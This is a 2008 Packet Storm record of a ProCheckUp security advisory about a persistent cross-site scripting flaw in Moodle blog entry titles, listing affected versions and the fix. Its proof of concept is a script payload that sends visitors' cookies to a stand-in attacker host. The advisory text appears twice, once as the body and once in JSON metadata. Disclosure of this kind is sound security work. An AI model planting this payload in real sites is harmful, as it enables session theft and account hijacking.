ID PACKETSTORM:68451 Type packetstorm Reporter ProCheckUp Modified 2008-07-23T00:00:00
Description
`-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
PR08-13: Persistent Cross-site Scripting (XSS) on Moodle via blog entry
title
Vulnerability found: 20/06/2008
Vendor informed: 25/06/2008
Vulnerability fixed: 16/07/2008
Advisory publicly released: 22/07/2008
Severity: High
Description:
By creating a new blog entry ('/blog/edit.php') with a malicious entry
title ('etitle' parameter), it is possible to inject unrestricted
JavaScript and HTML *persistently* into the application. The malicious
code would be returned (and executed) on the main blog section of the
site ('/blog/') which can be viewed by any type of account (i.e.: guest,
student, teacher, administrator, etc).
Notes:
- - Prerequisite for successful exploitation is blogs being enabled and
attacker's account having capabilities to add new entries.
- - Moodle reveals its version within HTML source code. i.e.: <a
title="moodle 1.6.5 + (2006050550)" href="http://moodle.org/">
Proof of concept:
Example of malicious code to be injected as a new blog entry title. Such
code forwards the cookies of any users who access the blog section of
the site to a third-party website:
<script>location='http://evil.foo/x.php?'+document.cookie</script>
The proof of concept was tested on the following environment:
Server: Apache/2.2.2 (Unix) PHP/5.2.1 mod_ssl/2.2.2 OpenSSL/0.9.7l
Moodle 1.6.5 + (2006050550)
Consequences:
It is possible to hijack any account (including privileged ones) by
stealing the victim's session ID (stored in cookies), or inject a spoof
HTML login form for phishing purposes. Other attacks are also possible.
Versions affected as confirmed by the vendor:
1.7.3, 1.7.4, 1.6.5, 1.7.2, 1.7.1, 1.7, 1.6.6, 1.6.4, 1.6.3, 1.6.2,
1.6.1, 1.6
Fix:
Upgrade to 1.6.7, 1.7.5 or any recent nightly or use patch
http://cvs.moodle.org/moodle/blog/lib.php?r1=1.38.6.3&r2=1.38.6.2
This issue has been tracked as MDL-15392.
References:
http://moodle.org/mod/forum/discuss.php?d=101401
http://www.procheckup.com/Vulnerabilities.php
Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd. (www.procheckup.com)
ProCheckUp would like to thank Petr Skoda and the rest of the Moodle
team for their excellent response time and cooperation towards resolving
this matter.
Legal:
Copyright 2008 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if, the Bulletin is not edited or changed in any way, is attributed
to Procheckup, and provided such reproduction and/or distribution is
performed for non-commercial purposes.
Any other use of this information is prohibited. Procheckup is not
liable for any misuse of this information by any third party.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
iD8DBQFIhgDPoR/Hvsj3i8sRApqFAJ448lzgmoz6wsIwndxlKp6Aho0XdACfb/8N
DWov7Q8NG1otTxbxtL2R4U8=
=Zfxc
-----END PGP SIGNATURE-----
`
{"type": "packetstorm", "published": "2008-07-23T00:00:00", "reporter": "ProCheckUp", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "52f85b8cf2e995af0c944687037e9a91"}, {"key": "modified", "hash": "9d1b01848644535f085536e057be21db"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "9d1b01848644535f085536e057be21db"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "d654ecfa1d213c854a36248b0e10fbcd"}, {"key": "sourceData", "hash": "2145d56caeb81b2ebc78dafc080a73df"}, {"key": "sourceHref", "hash": "eb9e4fe66aff341f353877ae2680b208"}, {"key": "title", "hash": "0c3129152126090d452eb02475492fc3"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "`-----BEGIN PGP SIGNED MESSAGE----- \nHash: SHA1 \n \nPR08-13: Persistent Cross-site Scripting (XSS) on Moodle via blog entry \ntitle \n \nVulnerability found: 20/06/2008 \n \nVendor informed: 25/06/2008 \n \nVulnerability fixed: 16/07/2008 \n \nAdvisory publicly released: 22/07/2008 \n \nSeverity: High \n \nDescription: \n \nBy creating a new blog entry ('/blog/edit.php') with a malicious entry \ntitle ('etitle' parameter), it is possible to inject unrestricted \nJavaScript and HTML *persistently* into the application. The malicious \ncode would be returned (and executed) on the main blog section of the \nsite ('/blog/') which can be viewed by any type of account (i.e.: guest, \nstudent, teacher, administrator, etc). \n \n \nNotes: \n \n- - Prerequisite for successful exploitation is blogs being enabled and \nattacker's account having capabilities to add new entries. \n \n- - Moodle reveals its version within HTML source code. i.e.: <a \ntitle=\"moodle 1.6.5 + (2006050550)\" href=\"http://moodle.org/\"> \n \nProof of concept: \n \nExample of malicious code to be injected as a new blog entry title. Such \ncode forwards the cookies of any users who access the blog section of \nthe site to a third-party website: \n \n<script>location='http://evil.foo/x.php?'+document.cookie</script> \n \nThe proof of concept was tested on the following environment: \n \nServer: Apache/2.2.2 (Unix) PHP/5.2.1 mod_ssl/2.2.2 OpenSSL/0.9.7l \nMoodle 1.6.5 + (2006050550) \n \nConsequences: \n \nIt is possible to hijack any account (including privileged ones) by \nstealing the victim's session ID (stored in cookies), or inject a spoof \nHTML login form for phishing purposes. Other attacks are also possible. \n \nVersions affected as confirmed by the vendor: \n \n1.7.3, 1.7.4, 1.6.5, 1.7.2, 1.7.1, 1.7, 1.6.6, 1.6.4, 1.6.3, 1.6.2, \n1.6.1, 1.6 \n \nFix: \n \nUpgrade to 1.6.7, 1.7.5 or any recent nightly or use patch \nhttp://cvs.moodle.org/moodle/blog/lib.php?r1=1.38.6.3&r2=1.38.6.2 \n \nThis issue has been tracked as MDL-15392. \n \n \nReferences: \n \nhttp://moodle.org/mod/forum/discuss.php?d=101401 \nhttp://www.procheckup.com/Vulnerabilities.php \n \nCredits: Adrian Pastor and Amir Azam of ProCheckUp Ltd. (www.procheckup.com) \n \nProCheckUp would like to thank Petr Skoda and the rest of the Moodle \nteam for their excellent response time and cooperation towards resolving \nthis matter. \n \nLegal: \n \nCopyright 2008 Procheckup Ltd. All rights reserved. \n \nPermission is granted for copying and circulating this Bulletin to the \nInternet community for the purpose of alerting them to problems, if and \nonly if, the Bulletin is not edited or changed in any way, is attributed \nto Procheckup, and provided such reproduction and/or distribution is \nperformed for non-commercial purposes. \n \nAny other use of this information is prohibited. Procheckup is not \nliable for any misuse of this information by any third party. \n-----BEGIN PGP SIGNATURE----- \nVersion: GnuPG v1.4.6 (GNU/Linux) \n \niD8DBQFIhgDPoR/Hvsj3i8sRApqFAJ448lzgmoz6wsIwndxlKp6Aho0XdACfb/8N \nDWov7Q8NG1otTxbxtL2R4U8= \n=Zfxc \n-----END PGP SIGNATURE----- \n`\n", "viewCount": 0, "history": [], "lastseen": "2016-11-03T10:28:15", "objectVersion": "1.2", "href": "https://packetstormsecurity.com/files/68451/ProCheckUp-Security-Advisory-2008.13.html", "sourceHref": "https://packetstormsecurity.com/files/download/68451/PR08-13.txt", "title": "ProCheckUp Security Advisory 2008.13", "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-11-03T10:28:15"}, "dependencies": {"references": [], "modified": "2016-11-03T10:28:15"}, "vulnersScore": 0.1}, "references": [], "id": "PACKETSTORM:68451", "hash": "a7134d0e8329b5d91eb11c6a51aa71b2a750383faf8273c866139684c2318bd4", "edition": 1, "cvelist": [], "modified": "2008-07-23T00:00:00", "description": ""}